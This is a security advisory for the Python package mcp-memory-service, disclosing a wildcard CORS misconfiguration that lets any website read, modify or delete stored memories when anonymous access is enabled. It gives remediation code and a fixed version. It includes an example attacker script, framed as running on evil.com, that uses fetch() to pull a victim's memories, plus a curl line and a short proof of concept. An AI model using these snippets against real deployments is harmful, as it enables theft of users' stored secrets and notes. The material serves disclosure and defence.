mcp-memory-service
Affected
- introduced
0, fixed10.25.1(ecosystem)
Fixed versions
10.25.1
Fix
- Fixed version
10.25.1pip install --upgrade mcp-memory-service==10.25.1
Advisory
Also known as: CVE-2026-33010, GHSA-g9rg-8vq5-mpwm
mcp-memory-service's Wildcard CORS with Credentials Enables Cross-Origin Memory Theft
Summary
When the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI's CORSMiddleware with allow_origins=['*'], allow_credentials=True, allow_methods=["*"], and allow_headers=["*"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.
Details
Vulnerable Code
`config.py:546` - Wildcard CORS origin default
CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', '*').split(',')
This produces ['*'] by default, allowing any origin.
`app.py:274-280` - CORSMiddleware configuration
# CORS middleware
app.add_middleware(
CORSMiddleware,
allow_origins=CORS_ORIGINS, # ['*'] by default
allow_credentials=True, # Unnecessary for anonymous access; bad practice
allow_methods=["*"],
allow_headers=["*"],
)
How the Attack Works
The wildcard CORS default means every API response includes Access-Control-Allow-Origin: *. This tells browsers to allow any website to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:
// Running on https://evil.com - reads victim's memories
// No credentials needed - anonymous access means the API is open
const response = await fetch('http://192.168.1.100:8000/api/memories');
const memories = await response.json();
// memories contains every stored memory - passwords, API keys, personal notes
The browser sends the request, the server responds with ACAO: *, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.
Clarification on `allow_credentials=True`: The advisory originally stated that Starlette reflects the Origin header when allow_credentials=True with wildcard origins. Testing with Starlette 0.52.1 shows that **actual responses return ACAO: *** (not the reflected origin); only preflight OPTIONS responses reflect the origin. Per the Fetch specification, browsers block ACAO: * when credentials: 'include' is used. However, this is irrelevant to the attack because anonymous access means no credentials are needed - a plain fetch() without credentials: 'include' works, and ACAO: * allows it.
Two Attack Vectors
This misconfiguration enables two distinct attack paths:
1. Cross-origin browser attack (CORS - this advisory)
ACAO: * header is what allows the browser to expose the response to the attacker's JavaScript2. Direct network access (compounding factor)
curl http://<target>:8000/api/memories)0.0.0.0 binding + anonymous access, independent of CORS configurationThe CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.
Compounding Factors
ACAO: * blocks)api_key query param is cached in browser history and server logsAttack Scenario
mcp-memory-service with HTTP enabled and anonymous accesshttps://evil.com which includes JavaScriptfetch('http://<victim-ip>:8000/api/memories') (no credentials needed)Access-Control-Allow-Origin: *Root Cause
The default value of MCP_CORS_ORIGINS is *, which allows any website to read API responses. This is a permissive default that should be restricted to the expected dashboard origin (typically localhost). The allow_credentials=True is an additional misconfiguration that doesn't currently enable the attack.
PoC
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from starlette.testclient import TestClient
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
@app.get("/api/memories")
def memories():
return [{"content": "secret memory data"}]
client = TestClient(app)
# Non-credentialed request (how the real attack works with anonymous access)
response = client.get("/api/memories", headers={"Origin": "https://evil.com"})
print(response.headers["access-control-allow-origin"]) # *
print(response.json()) # [{"content": "secret memory data"}]
# Any website can read this response because ACAO is *
Impact
Remediation
Replace the wildcard default with an explicit localhost origin:
# In config.py (safe default)
CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', 'http://localhost:8000,http://127.0.0.1:8000').split(',')
# In app.py - warn on wildcard
if '*' in CORS_ORIGINS:
logger.warning("Wildcard CORS origin detected. This allows any website to access the API. "
"Set MCP_CORS_ORIGINS to restrict access.")
# Also: set allow_credentials=False unless specific origins are configured
app.add_middleware(
CORSMiddleware,
allow_origins=CORS_ORIGINS,
allow_credentials='*' not in CORS_ORIGINS, # Only with explicit origins
allow_methods=["*"],
allow_headers=["*"],
)High Basis: CVSS v3 score 8.1, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
0, fixed 10.25.1 (ecosystem)10.25.1
10.25.1pip install --upgrade mcp-memory-service==10.25.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0